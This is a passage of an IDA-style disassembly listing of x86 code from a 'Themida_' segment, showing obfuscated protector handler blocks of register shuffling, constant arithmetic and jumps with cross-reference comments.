		test	ecx, eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5627C8:				; CODE XREF: Themida_:0055E08Cj
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	48CAh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_563BCF
; ---------------------------------------------------------------------------


loc_5627E4:				; CODE XREF: Themida_:0056D4CBj
		push	eax
		push	esi
		mov	esi, 20h
		mov	eax, esi
		pop	esi
		add	eax, edi
		add	[eax], edx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		neg	dword ptr [edi+20h]
		push	eax
		mov	eax, 20h
		add	eax, edi
		xor	dword ptr [eax], 91E3C207h
		pop	eax
		jmp	loc_56C0F4
; ---------------------------------------------------------------------------


loc_562813:				; CODE XREF: Themida_:005623D7j
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		jmp	loc_56CFFF
; ---------------------------------------------------------------------------


loc_56281E:				; CODE XREF: Themida_:005720BAj
		push	esi
		jmp	loc_563955
; ---------------------------------------------------------------------------


loc_562824:				; CODE XREF: Themida_:0055D998j
		push	18E663EFh
		pop	edx
		and	edx, 0BCB21C5h
		not	edx
		jmp	loc_55F972
; ---------------------------------------------------------------------------


loc_562837:				; CODE XREF: Themida_:0056BC4Ej
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56EB97
; ---------------------------------------------------------------------------


loc_562841:				; CODE XREF: Themida_:0055FC3Fj
		xor	ebp, 796A4DC1h
		push	edx
		mov	edx, 747A7821h
		jmp	loc_56560E
; ---------------------------------------------------------------------------


loc_562852:				; CODE XREF: Themida_:00561BDEj
		sub	ebp, eax
		jmp	loc_56F537
; ---------------------------------------------------------------------------


loc_562859:				; CODE XREF: Themida_:0056FBD7j
		movzx	cx, ah
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_567D97
; ---------------------------------------------------------------------------


loc_562873:				; CODE XREF: Themida_:00570319j
		mov	edi, [esp]
		push	12AEh
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_56C26F
; ---------------------------------------------------------------------------


loc_562885:				; CODE XREF: Themida_:0055D862j
		push	ecx
		mov	ecx, 5D3A3845h
		not	ecx
		shl	ecx, 8
		xor	ecx, 0BEDB9DF9h
		or	esi, ecx
		pop	ecx
		not	esi
		jmp	loc_561B8D
; ---------------------------------------------------------------------------


loc_5628A0:				; CODE XREF: Themida_:0056BCFAj
		push	77FDh
		mov	[esp], edi
		mov	edi, 2DD305E5h
		sub	edi, 1D3B021Bh
		xor	edi, 17031AB2h
		jmp	loc_56F4C6
; ---------------------------------------------------------------------------


loc_5628BE:				; CODE XREF: Themida_:00561952j
		xor	ebp, 7532307Ch
		sub	ebp, 0B3315D57h
		add	esi, ebp
		pop	ebp
		sub	ecx, esi
		pop	esi
		add	ecx, edx
		push	edi
		mov	edi, 1D916D25h
		add	ecx, 70350BD2h
		sub	ecx, 2F972179h
		add	ecx, edi
		push	edi
		mov	edi, 4606638Bh
		dec	edi
		inc	edi
		shr	edi, 2
		jmp	loc_561580
; ---------------------------------------------------------------------------


loc_5628F6:				; CODE XREF: Themida_:0056EECFj
		push	eax
		jmp	loc_5702B1
; ---------------------------------------------------------------------------


loc_5628FC:				; CODE XREF: Themida_:00566904j
		mov	ah, bl
		jmp	loc_55E14C
; ---------------------------------------------------------------------------


loc_562903:				; CODE XREF: Themida_:0055D7AFj
		sub	ebp, 41114C6Ah
		jmp	loc_571EA9
; ---------------------------------------------------------------------------


loc_56290E:				; CODE XREF: Themida_:00564F45j
		sub	eax, 0B7277F93h
		mov	esi, eax
		jmp	loc_563058
; ---------------------------------------------------------------------------


loc_56291A:				; CODE XREF: Themida_:0056DEBDj
		add	al, 38h
		sub	al, cl
		sub	al, 38h
		mov	ecx, [esp]
		add	esp, 4
		add	al, bl
		add	al, 0B2h
		sub	al, 0EFh
		push	5CEBh
		mov	[esp], ecx
		mov	ch, 0DBh
		shr	ch, 7
		push	ebx
		push	5022h
		mov	[esp], ecx
		mov	cl, 0A1h
		add	cl, 8Ah
		push	edx
		mov	dh, 6Ah
		push	ecx
		mov	ch, 0AEh
		or	ch, 0B5h
		sub	ch, 21h
		xor	ch, 0B7h
		xor	dh, ch
		pop	ecx
		push	ecx
		mov	cl, 79h
		and	dh, cl
		pop	ecx
		jmp	loc_568D01
; ---------------------------------------------------------------------------


loc_562964:				; CODE XREF: Themida_:0056DB3Aj
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		push	5FFFh
		mov	[esp], ebx
		jmp	loc_56319C
; ---------------------------------------------------------------------------


loc_56297C:				; CODE XREF: Themida_:00561355j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	1AEAh
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ebp
		mov	ebp, 3A2E3AC2h
		jmp	loc_56E02A
; ---------------------------------------------------------------------------


loc_5629AC:				; CODE XREF: Themida_:0056FEE0j
		neg	ebp
		add	ebp, 7AE25B90h
		jmp	loc_55F21E
; ---------------------------------------------------------------------------


loc_5629B9:				; CODE XREF: Themida_:0056C1BFj
		xor	eax, edi
		pop	edi
		jmp	loc_55E6BC
; ---------------------------------------------------------------------------


loc_5629C1:				; CODE XREF: Themida_:0056D10Cj
		pop	eax
		xor	ebp, [esp]
		jmp	loc_55D5FD
; ---------------------------------------------------------------------------


loc_5629CA:				; CODE XREF: Themida_:0056AFF9j
		sub	al, 7Dh
		sub	al, cl
		add	al, 7Dh
		add	al, 6Ah
		jmp	loc_560491
; ---------------------------------------------------------------------------


loc_5629D7:				; CODE XREF: Themida_:0056CFA0j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5629DC:				; CODE XREF: Themida_:0055E6BDj
		mov	edx, 640A309Ch
		dec	edx
		add	edx, 32D94C37h
		add	eax, edx
		pop	edx
		add	esi, eax
		jmp	loc_568FB3
; ---------------------------------------------------------------------------


loc_5629F2:				; CODE XREF: Themida_:0056DDB1j
		sub	ebp, 3D52503Ch
		jmp	loc_56A0E2
; ---------------------------------------------------------------------------


loc_5629FD:				; CODE XREF: Themida_:00571E3Cj
		push	3664h
		mov	[esp], edi
		jmp	loc_55D2FB

; =============== S U B	R O U T	I N E =======================================



sub_562A0A	proc near		; CODE XREF: sub_55DEE3+DEE3j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056004D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005602DA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056113D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00561CF8 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 00564B3E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00566224 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00568B2E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BE98 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056C847 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056D396 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D5A5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056DEE8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005703C1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00570C2B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00570F9D SIZE 00000009 BYTES

		sub	esp, 2
		mov	word ptr [esp+4+var_4],	dx
		jmp	loc_56113D
sub_562A0A	endp

; ---------------------------------------------------------------------------


loc_562A19:				; CODE XREF: Themida_:00560385j
		push	edi
		mov	edi, 3F7013F7h
		and	edi, 3F9B3E59h
		and	edi, 72960A89h
		push	eax
		mov	eax, 0CDEFFE03h
		jmp	loc_56DBED
; ---------------------------------------------------------------------------


loc_562A36:				; CODE XREF: Themida_:0056ED8Ej
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 202D7814h
		add	ebp, 0CD6C005h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 543D71C1h
		jmp	loc_56A291
; ---------------------------------------------------------------------------


loc_562A5A:				; CODE XREF: Themida_:005710ADj
		and	eax, 73722146h
		and	eax, 4AE6347h
		add	eax, 13C27CD4h
		add	esi, eax
		jmp	loc_56CEC6
; ---------------------------------------------------------------------------


loc_562A70:				; CODE XREF: Themida_:0056AC53j
		xchg	ebx, [esp]
		pop	esp
		push	0D00h
		mov	[esp], ecx
		push	edx
		mov	edx, esp
		jmp	loc_55F6BD
; ---------------------------------------------------------------------------


loc_562A84:				; CODE XREF: Themida_:00568544j
					; Themida_:0056C626j
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		mov	edi, 79BD4892h
		xor	[esp+4], edi
		pop	edi
		pop	eax
		push	edx
		push	ebp
		mov	ebp, 668E0EA0h
		push	107Ah
		mov	[esp], esi
		jmp	loc_55E797
; ---------------------------------------------------------------------------


loc_562AAD:				; CODE XREF: Themida_:0056A354j
		xor	al, dh
		jmp	loc_572B18
; ---------------------------------------------------------------------------


loc_562AB4:				; CODE XREF: Themida_:00569CA0j
		sub	ebp, 7DBD3F7Ch
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_56A716
; ---------------------------------------------------------------------------


loc_562ACE:				; CODE XREF: Themida_:00568D23j
		push	edi
		mov	edi, 48552ED0h
		sub	ebp, edi
		pop	edi
		or	ebp, 7BCB4F69h
		and	ebp, 347B23D8h
		push	ecx
		mov	ecx, 773A30DEh
		xor	ebp, ecx
		pop	ecx
		sub	ebx, 4DF77D51h
		add	ebx, 3A2454BAh
		add	ebx, ebp
		sub	ebx, 3A2454BAh
		add	ebx, 4DF77D51h
		pop	ebp
		add	ebx, eax
		jmp	loc_56D3B9
; ---------------------------------------------------------------------------


loc_562B0E:				; CODE XREF: Themida_:00567CFAj
		shl	cl, 1
		xor	cl, 0D2h
		not	cl
		not	cl
		xor	cl, 0D6h
		sub	cl, 20h
		or	dl, cl
		pop	cx
		sub	dl, 23h
		add	al, dl
		pop	edx
		sub	al, bl
		sub	al, 21h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_562C71
; ---------------------------------------------------------------------------


loc_562B36:				; CODE XREF: Themida_:00570EB2j
		pop	ecx
		push	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 7AC3C00Fh
		mov	edi, ebx
		pop	ebx
		xor	ecx, edi
		pop	edi
		mov	ebp, ecx
		pop	ecx
		add	ebp, 5F5168C8h
		jmp	loc_56B5B7
; ---------------------------------------------------------------------------


loc_562B67:				; CODE XREF: Themida_:00563C3Cj
		add	dword ptr [esp], 25E754Eh
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 0B9E3C0Dh
		inc	esi
		dec	esi
		sub	esi, 0C3E21E8Ah
		push	3E70h
		jmp	loc_56F3CE
; ---------------------------------------------------------------------------


loc_562B8F:				; CODE XREF: Themida_:00563135j
		sub	edx, 65AA035Dh
		sub	edx, ebx
		add	edx, 65AA035Dh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_56056F
; ---------------------------------------------------------------------------


loc_562BAC:				; CODE XREF: Themida_:0055F50Ej
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5686C8
; ---------------------------------------------------------------------------


loc_562BC4:				; CODE XREF: Themida_:0056F0DDj
		mov	esp, [esp]
		jmp	loc_562423
; ---------------------------------------------------------------------------


loc_562BCC:				; CODE XREF: Themida_:005676A3j
		mov	eax, 5F930F74h
		sub	ebx, eax
		jmp	loc_56A601
; ---------------------------------------------------------------------------


loc_562BD8:				; CODE XREF: Themida_:0056BA0Cj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 5F3855BCh
		push	edi
		push	796E7AB1h
		jmp	loc_565AE5
; ---------------------------------------------------------------------------


loc_562BF7:				; CODE XREF: Themida_:00571CCCj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		pop	esi
		sub	esp, 4
		jmp	loc_570081
; ---------------------------------------------------------------------------


loc_562C1B:				; CODE XREF: Themida_:00568BBCj
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esi, 7403140Bh
		jmp	loc_55ED5B
; ---------------------------------------------------------------------------


loc_562C38:				; CODE XREF: Themida_:00566C48j
		add	esi, 4FF5793h
		jmp	loc_560F93
; ---------------------------------------------------------------------------


loc_562C43:				; CODE XREF: Themida_:0055E784j
		sub	eax, 6A6779A8h
		sub	eax, edi
		push	ebp
		push	edx
		push	0CA64354h
		pop	edx
		sub	edx, 0AB342917h
		jmp	loc_571AAB
; ---------------------------------------------------------------------------


loc_562C5D:				; CODE XREF: Themida_:0056D6C9j
		push	7AEAh
		mov	[esp], esi
		jmp	loc_568BE3
; ---------------------------------------------------------------------------


loc_562C6A:				; CODE XREF: Themida_:0056178Cj
		not	esi
		jmp	loc_5712FD
; ---------------------------------------------------------------------------


loc_562C71:				; CODE XREF: Themida_:00562B31j
		push	7CBCh
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		sub	edx, 2B0C4E5Ch
		add	edx, eax
		add	edx, 2B0C4E5Ch
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 4
		jmp	loc_5671AA
; ---------------------------------------------------------------------------


loc_562C9D:				; CODE XREF: Themida_:00567E7Bj
		add	di, 0C807h
		add	ax, 788Ah
		jmp	loc_56B0C3
; ---------------------------------------------------------------------------


loc_562CAB:				; CODE XREF: Themida_:00560A06j
		sub	cl, 9Ch
		pop	ax
		jmp	loc_55F178
; ---------------------------------------------------------------------------


loc_562CB5:				; CODE XREF: Themida_:0056883Fj
		mov	edx, [esp]
		add	esp, 4
		xor	al, bl
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_56B438
; ---------------------------------------------------------------------------


loc_562CDA:				; CODE XREF: Themida_:0055F3CCj
		pop	esp
		jmp	loc_5700CA
; ---------------------------------------------------------------------------


loc_562CE0:				; CODE XREF: Themida_:00560FF1j
		push	ebx
		push	small 5305h
		pop	bx
		and	bx, 323Bh
		inc	bx
		or	bx, 3CFEh
		neg	bx
		xchg	dx, bx
		not	dx
		jmp	loc_56F6DB
; ---------------------------------------------------------------------------


loc_562D01:				; CODE XREF: Themida_:0056A996j
		add	edi, esi
		jmp	loc_5640B7
; ---------------------------------------------------------------------------


loc_562D08:				; CODE XREF: Themida_:0055DE20j
		xor	esi, ecx
		pop	ecx
		inc	esi
		sub	esi, 18844A69h
		add	ebx, esi
		pop	esi
		jmp	loc_5670C0
; ---------------------------------------------------------------------------


loc_562D1A:				; CODE XREF: Themida_:0055F96Dj
		pop	esp
		inc	edx
		and	edx, 479F68F9h
		sub	edx, 408D20F5h
		push	edx
		pop	esi
		pop	edx
		sub	edi, 54F47031h
		add	edi, esi
		add	edi, 54F47031h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_564B53
; ---------------------------------------------------------------------------


loc_562D45:				; CODE XREF: Themida_:005615FCj
		pop	ebx
		push	edx
		mov	edx, 4819338Fh
		push	eax
		jmp	loc_560213
; ---------------------------------------------------------------------------


loc_562D52:				; CODE XREF: Themida_:00563B2Fj
		mov	ebp, 797245Bh
		or	ebx, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 55E201FDh
		and	ebx, ebp
		pop	ebp
		push	edx
		mov	edx, 47CE5C7Ah
		xor	ebx, edx
		pop	edx
		add	ebx, 226C5ECBh
		xor	ebx, 64D8BCEEh
		mov	edx, ebx
		push	dword ptr [esp]
		jmp	loc_564CAC
; ---------------------------------------------------------------------------


loc_562D97:				; CODE XREF: Themida_:0056CC49j
		push	ebp
		jmp	loc_568C1C
; ---------------------------------------------------------------------------


loc_562D9D:				; CODE XREF: Themida_:0055EABCj
		dec	al
		sub	al, 0F5h
		push	3C57h
		jmp	loc_567FD3
; ---------------------------------------------------------------------------


loc_562DAB:				; CODE XREF: Themida_:0056DAEFj
		not	cl
		add	cl, 3Eh
		mov	dl, cl
		pop	ecx
		sub	al, dl
		pop	dx
		add	al, bl
		add	al, 62h
		mov	bx, [esp]
		add	esp, 2
		mov	edx, [esp]
		jmp	loc_572B3D
; ---------------------------------------------------------------------------


loc_562DCA:				; CODE XREF: Themida_:00564729j
		or	ebp, 440E2E92h
		push	eax
		mov	eax, 1B161C6Fh
		xor	eax, 4A6F4641h
		jmp	loc_571FA3
; ---------------------------------------------------------------------------


loc_562DE0:				; CODE XREF: Themida_:00572B4Fj
		mov	[esp], esi
		push	3A7h
		mov	[esp], eax
		push	ecx
		push	183Ah
		mov	[esp], ebx
		mov	ebx, 6D0D6C65h
		mov	ecx, 875E753Bh
		sub	ecx, ebx
		pop	ebx
		add	ecx, 156123F9h
		sub	ecx, 1C2324E5h
		push	edi
		mov	edi, 53442F1Ah
		and	ecx, edi
		pop	edi
		xor	ecx, 11105509h
		add	ecx, 0FDEBADFEh
		push	5791h
		mov	[esp], ebp
		jmp	loc_55EA3A
; ---------------------------------------------------------------------------


loc_562E2F:				; CODE XREF: Themida_:0056836Fj
		and	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		shl	ebp, 8
		sub	ebp, 8A16474Bh
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		push	ebp
		jmp	loc_5679B1
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	6337h
		jmp	loc_56D28B
; ---------------------------------------------------------------------------


loc_562E6A:				; CODE XREF: Themida_:00571FFBj
		xor	eax, 10F522E3h
		or	esi, eax
		pop	eax
		shl	esi, 2
		push	edx
		mov	edx, 313B7237h
		sub	esi, edx
		pop	edx
		jmp	loc_563C52
; ---------------------------------------------------------------------------


loc_562E83:				; CODE XREF: Themida_:005652D3j
		pop	eax
		add	cl, dl
		pop	edx
		push	eax
		mov	al, 30h
		or	al, 0FBh
		jmp	loc_565753
; ---------------------------------------------------------------------------


loc_562E91:				; CODE XREF: Themida_:00570CB6j
		push	ebx
		push	3987ED9Bh
		pop	ebx
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, 378B469Fh
		sub	eax, edi
		push	edi
		mov	edi, 378B469Fh
		add	eax, edi
		jmp	loc_55E984
; ---------------------------------------------------------------------------


loc_562EC4:				; CODE XREF: Themida_:00571F9Ej
		add	edx, 4
		jmp	loc_5645FD
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55E691
; ---------------------------------------------------------------------------


loc_562ED8:				; CODE XREF: Themida_:0056423Dj
		push	ebx
		mov	ebx, 248A4EB2h
		shr	ebx, 2
		jmp	loc_565AD0
; ---------------------------------------------------------------------------


loc_562EE6:				; CODE XREF: Themida_:00570787j
		mov	ebp, 7FD0D9DCh
		jmp	loc_56D1AE
; ---------------------------------------------------------------------------


loc_562EF0:				; CODE XREF: Themida_:0056F378j
		pop	dx
		add	al, bl
		jmp	loc_56E2CE
; ---------------------------------------------------------------------------


loc_562EF9:				; CODE XREF: Themida_:005694FEj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_56E5E5
; ---------------------------------------------------------------------------


loc_562F0A:				; CODE XREF: Themida_:00566DE1j
		push	4506h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_56A4CA
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		mov	edx, 26D9609Ch
		dec	edx
		jmp	loc_56CA29
; ---------------------------------------------------------------------------


loc_562F2E:				; CODE XREF: Themida_:005705E0j
		movzx	eax, al
		jmp	loc_55E4E3
; ---------------------------------------------------------------------------


loc_562F36:				; CODE XREF: Themida_:0056E744j
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56331E
; ---------------------------------------------------------------------------


loc_562F51:				; CODE XREF: Themida_:0055E7CBj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esi, 9DFC0DAh
		add	eax, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_561DBD
; ---------------------------------------------------------------------------


loc_562F74:				; CODE XREF: Themida_:0056E819j
		or	eax, edi
		jmp	loc_564427
; ---------------------------------------------------------------------------


loc_562F7B:				; CODE XREF: Themida_:00570F6Bj
		add	ebx, 0D05F2009h
		sub	esi, ebx
		jmp	loc_5613F4
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_571D47
; ---------------------------------------------------------------------------


loc_562F90:				; CODE XREF: Themida_:00568B3Bj
		push	esp
		jmp	loc_568857
; ---------------------------------------------------------------------------


loc_562F96:				; CODE XREF: Themida_:0056EDEDj
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, 117000D0h
		jmp	loc_56924A
; ---------------------------------------------------------------------------


loc_562FAA:				; CODE XREF: Themida_:00567043j
		xchg	dh, ah
		xchg	ah, bh
		jmp	loc_572204
; ---------------------------------------------------------------------------


loc_562FB3:				; CODE XREF: Themida_:0057262Ej
		push	esi
		mov	esi, 6383481h
		push	ebx
		mov	ebx, 435A00BFh
		not	ebx
		shr	ebx, 6
		neg	ebx
		inc	ebx
		sub	ebx, 8C3E49CCh
		sub	ecx, ebx
		jmp	loc_572A50
; ---------------------------------------------------------------------------


loc_562FD4:				; CODE XREF: Themida_:0056C2F1j
		mov	edi, 1ADA0E20h
		xor	edi, 53917796h
		push	edx
		mov	edx, 5E5C3C89h
		jmp	loc_5675B3
; ---------------------------------------------------------------------------


loc_562FEA:				; CODE XREF: Themida_:005679ACj
		push	dword ptr [esp]
		pop	edx
		jmp	loc_56A3E9
; ---------------------------------------------------------------------------


loc_562FF3:				; CODE XREF: Themida_:0056765Fj
		pop	eax
		add	esp, 4
		push	0B6Eh
		jmp	loc_56180C
; ---------------------------------------------------------------------------


loc_563004:				; CODE XREF: Themida_:0056CBF9j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_560A48
; ---------------------------------------------------------------------------


loc_56301A:				; CODE XREF: Themida_:005670BBj
		neg	ebp
		jmp	loc_56F239
; ---------------------------------------------------------------------------


loc_563021:				; CODE XREF: Themida_:0056F9ECj
		sub	eax, ebx
		pop	ebx
		jmp	loc_569823
; ---------------------------------------------------------------------------


loc_563029:				; CODE XREF: Themida_:00564C7Aj
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		push	399Dh
		mov	[esp], edi
		jmp	loc_564F74
; ---------------------------------------------------------------------------


loc_563040:				; CODE XREF: Themida_:0056BF96j
		dec	dword ptr [esp]
		pop	ecx
		push	ecx
		jmp	loc_570027
; ---------------------------------------------------------------------------


loc_56304A:				; CODE XREF: Themida_:0056AADDj
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		jmp	loc_567C11
; ---------------------------------------------------------------------------


loc_563058:				; CODE XREF: Themida_:00562915j
		mov	eax, [esp]
		add	esp, 4
		not	esi
		shr	esi, 3
		jmp	loc_5676BE
; ---------------------------------------------------------------------------


loc_56306B:				; CODE XREF: Themida_:00566178j
		neg	esi
		jmp	loc_56194C
; ---------------------------------------------------------------------------


loc_563072:				; CODE XREF: Themida_:0056BE4Cj
		add	ebx, 53FC2A99h
		sub	ebx, ecx
		sub	ebx, 53FC2A99h
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 0E9C36EBh
		jmp	loc_572603
; ---------------------------------------------------------------------------


loc_563095:				; CODE XREF: Themida_:00571BC6j
		push	ebp
		push	edi
		mov	edi, 6D1B548Eh
		jmp	loc_57140F
; ---------------------------------------------------------------------------


loc_5630A1:				; CODE XREF: Themida_:0055E911j
		add	ebp, 4
		jmp	loc_571C30
; ---------------------------------------------------------------------------


loc_5630A9:				; CODE XREF: Themida_:0056B99Fj
		add	esp, 4
		push	ebx
		mov	ebx, 3B2920A8h
		not	ebx
		sub	ebx, 3E944C8Ah
		shl	ebx, 7
		xor	ebx, 51756E20h
		mov	esi, ebx
		pop	ebx
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57219B
; ---------------------------------------------------------------------------


loc_5630D6:				; CODE XREF: Themida_:00566146j
		sub	edx, 44C1192Fh
		jmp	loc_5710C2
; ---------------------------------------------------------------------------


loc_5630E1:				; CODE XREF: Themida_:00560F66j
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5630F0:				; CODE XREF: Themida_:00569FBAj
		push	5E8B285Ah
		mov	edx, [esp]
		add	esp, 4
		xor	edi, edx
		pop	edx
		sub	edi, 0CF07BFBh
		jmp	loc_56B79B
; ---------------------------------------------------------------------------


loc_56310C:				; CODE XREF: Themida_:0056D415j
		sub	ebx, ebp
		pop	ebp
		jmp	loc_56C54A
; ---------------------------------------------------------------------------


loc_563114:				; CODE XREF: Themida_:0055E69Dj
		pop	edx
		jmp	loc_561F61
; ---------------------------------------------------------------------------


loc_56311A:				; CODE XREF: Themida_:0055E421j
		pop	edi
		sub	edx, 4B576C97h
		add	edx, ecx
		add	edx, 4B576C97h
		push	ebx
		mov	ebx, 53926CE2h
		sub	ebx, 0E72B089Ah
		jmp	loc_562B8F
; ---------------------------------------------------------------------------


loc_56313A:				; CODE XREF: Themida_:005615C6j
		pop	ecx
		pop	edi
		add	ebx, ecx
		pop	ecx
		jmp	loc_568844
; ---------------------------------------------------------------------------


loc_563144:				; CODE XREF: Themida_:00561305j
		pop	ebp
		push	esi
		push	eax
		mov	eax, 546715Eh
		xor	eax, 4A414ACBh
		dec	eax
		add	eax, 743BB110h
		mov	esi, eax
		pop	eax
		jmp	loc_5645AF
; ---------------------------------------------------------------------------


loc_56315F:				; CODE XREF: Themida_:00565A50j
		add	ebp, 4
		add	ebp, 2
		xor	ebp, [esp]
		jmp	loc_56A54A
; ---------------------------------------------------------------------------


loc_563170:				; CODE XREF: Themida_:00568397j
		mov	edi, 21F20980h
		or	edi, 5DA00028h
		or	edi, 8866851h
		jmp	loc_57126B
; ---------------------------------------------------------------------------


loc_563186:				; CODE XREF: Themida_:0055E1EFj
		add	edx, ebx
		pop	ebx
		sub	ebp, edx
		pop	edx
		jmp	loc_566ECC
; ---------------------------------------------------------------------------


loc_563191:				; CODE XREF: Themida_:005644A8j
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_566747
; ---------------------------------------------------------------------------


loc_56319C:				; CODE XREF: Themida_:00562977j
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, 639644A9h
		jmp	loc_569AB0
; ---------------------------------------------------------------------------


loc_5631B6:				; CODE XREF: Themida_:005617EDj
		mov	ebx, 2330094Ah
		jmp	loc_56F6BC
; ---------------------------------------------------------------------------


loc_5631C0:				; CODE XREF: Themida_:005647F6j
		pop	ecx
		dec	ecx
		neg	ecx
		add	ecx, 73117079h
		mov	edi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 38DC026Dh
		and	edi, ebp
		pop	ebp
		not	edi
		jmp	loc_568762
; ---------------------------------------------------------------------------


loc_5631DD:				; CODE XREF: Themida_:0056BE71j
		push	207Eh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_560AE2
; ---------------------------------------------------------------------------


loc_5631F2:				; CODE XREF: Themida_:00563502j
		xor	ecx, 0B0C2C2BAh
		add	ebp, 6BA706A4h
		jmp	loc_565463
; ---------------------------------------------------------------------------


loc_563203:				; CODE XREF: Themida_:005688F6j
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	edi, 0CDC2B2D9h
		push	esi
		jmp	loc_564D03
; ---------------------------------------------------------------------------


loc_563215:				; CODE XREF: Themida_:005660B1j
		push	edi
		mov	edi, esp
		jmp	loc_55E9DB
; ---------------------------------------------------------------------------


loc_56321D:				; CODE XREF: Themida_:0056A73Ej
		sub	edi, 16F46091h
		neg	edi
		xor	edi, 20CD0C5Dh
		and	edi, 368028D1h
		not	edi
		push	edx
		mov	edx, 20B6B9BBh
		add	edi, edx
		pop	edx
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4


loc_563244:				; CODE XREF: Themida_:00561045j
					; Themida_:00567D89j
		push	dword ptr [edi+24h]
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		jmp	loc_560D0F
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 2CEC38CDh
		add	edi, 0FFFFFFFFh
		shr	edi, 6
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 47D83EF5h
		add	ebp, 3B4A12BFh
		push	ecx
		push	edx
		mov	edx, 72F77827h
